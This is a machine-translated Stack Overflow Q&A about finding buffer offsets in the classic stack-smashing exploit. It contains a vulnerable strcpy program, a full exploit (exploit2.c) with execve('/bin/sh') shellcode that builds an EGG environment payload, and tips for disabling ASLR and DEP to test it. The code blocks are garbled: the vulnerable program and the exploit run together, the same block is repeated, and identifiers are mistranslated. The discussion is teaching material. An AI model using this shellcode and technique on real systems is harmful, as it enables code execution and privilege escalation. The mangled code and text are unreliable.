C 您能解释一下在查找缓冲区溢出可能性时查找缓冲区偏移量的方法吗

C 您能解释一下在查找缓冲区溢出可能性时查找缓冲区偏移量的方法吗,c,stack-overflow,reverse-engineering,buffer-overflow,shellcode,C,Stack Overflow,Reverse Engineering,Buffer Overflow,Shellcode,我在看。下面的代码也可以在那里找到 我们有一个易受攻击的可执行文件,其代码是: 易受攻击的.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_S

我在看。下面的代码也可以在那里找到

我们有一个易受攻击的可执行文件,其代码是:

易受攻击的.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] = //this shellcode merely opens a shell
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
现在,由于我们不知道,当试图攻击该可执行文件时(通过溢出
缓冲区
),缓冲区的地址是什么。我们需要知道它的地址,因为我们想覆盖
ret
以指向
缓冲区的开头(我们在缓冲区中放置外壳代码)

文章中描述的猜测过程如下:

我们可以创建一个以缓冲区大小作为参数的程序 它自身堆栈指针的偏移量(我们认为缓冲区 想溢可以活)。我们将把溢出字符串放入 环境变量,便于操作:

2.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] = //this shellcode merely opens a shell
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
我不明白作者想表达什么,在
explot2.c
中,我们猜测
vulnerable.c
中缓冲区的大小,以及它与堆栈指针的偏移量

  • 为什么要在
    2
    的堆栈指针上应用此偏移量
  • 这对易受攻击的
    有何影响
    
  • 除了构建
    EGG
    环境变量之外,
    exploit2.c
    的目的是什么
  • 为什么我们要调用
    系统(“/bin/bash”)在最后
  • 一般来说,
    易受攻击
    利用漏洞2
    之间发生了什么

漏洞利用2的唯一目的是构建egg变量,该变量需要作为参数传递给
vulnerable
。可以对其进行修改,以便单独调用
易受攻击的

shellcode
变量包含调用shell的函数的机器代码。目标是将此代码复制到
脆弱
缓冲区
变量中,然后覆盖
脆弱
函数的返回地址,以指向外壳代码的入口点,即变量
缓冲区
的地址。堆栈向下增长:堆栈指针寄存器(
esp
在32位x86体系结构中)包含当前函数的局部变量使用的最小地址,在较高的地址中,我们找到其他局部变量,然后是当前执行函数的返回地址,然后是被调用方的变量,依此类推。变量上的溢出写入,例如
vulnerable
中的
buffer
,将覆盖内存中
buffer
之后的任何内容,在这种情况下,将覆盖
main
的返回地址,因为
buffer
main
函数的局部变量

现在我们知道该做什么了,我们需要一些信息:

  • buffer
    变量的地址,我们称之为
    bp
  • main
    函数返回地址的地址,我们称之为
    ra
如果我们有这些信息,我们可以伪造一个漏洞字符串
EGG
,以便:

  • 其长度为
    ra-bp+sizeof(void*)
    以使字符串
    缓冲区溢出,足以覆盖返回地址(
    sizeof(void*
    是返回地址的大小)
  • 它包含要在开头执行的利用漏洞代码,以及结尾的地址
    bp
请注意,我们只需要粗略猜测字符串的长度,因为我们可以使字符串变长,并在整个字符串上不断重复地址
bp
,但如果希望外壳代码正确执行,我们需要计算准确的
bp
地址

我们首先猜测覆盖返回值所需的字符串长度:600就足够了,因为它会触发
非法指令
错误。一旦找到它,我们就可以查找
bp
地址

我们知道
bp
位于堆栈的底部,因为这是存储局部变量的地方。我们假设堆栈的地址在
vulnerable
OPILIT2
中是相同的,我们在
OPILIT2
中测量堆栈地址,并开始四处修改
偏移量右偏移量(导致
addr
等于目标
bp
)当控制流从
主功能返回时,将执行外壳代码


如果要测试此代码,请记住,这在现代计算机中不起作用,因为操作系统使用执行预防技术将包含数据的页面标记为不可执行。

1。我可以通过使用
setarch'uname-m'-R/bin/bash
打开一个shell来禁用ASLR,并通过使数据为segm>来测试此代码使用易受攻击的可执行文件禁用DEP(有工具可以启用它)。2.您知道最后一行
系统(“/bin/bash”)的用途吗;
?为什么我们需要在利用漏洞打开的shell中运行vulnerable?2.这是因为
putenv
修改当前进程和子进程的环境(在本例中,是由
系统打开的进程),因此您需要在那里运行
vulnerable
,以便定义
EGG
变量。您也可以让
利用漏洞
打印字符串并手动复制粘贴,但您必须注意转义4。此攻击假定未部署ASLR。现在,当
漏洞时,此猜测过程是否相关le
正在我的机器上运行?(我想不是,因为在这种情况下,我可以调试它,并查看
缓冲区的确切地址)。情况是什么?可能我是管理员运行
易受攻击的
机器的用户(而不是管理员)?或者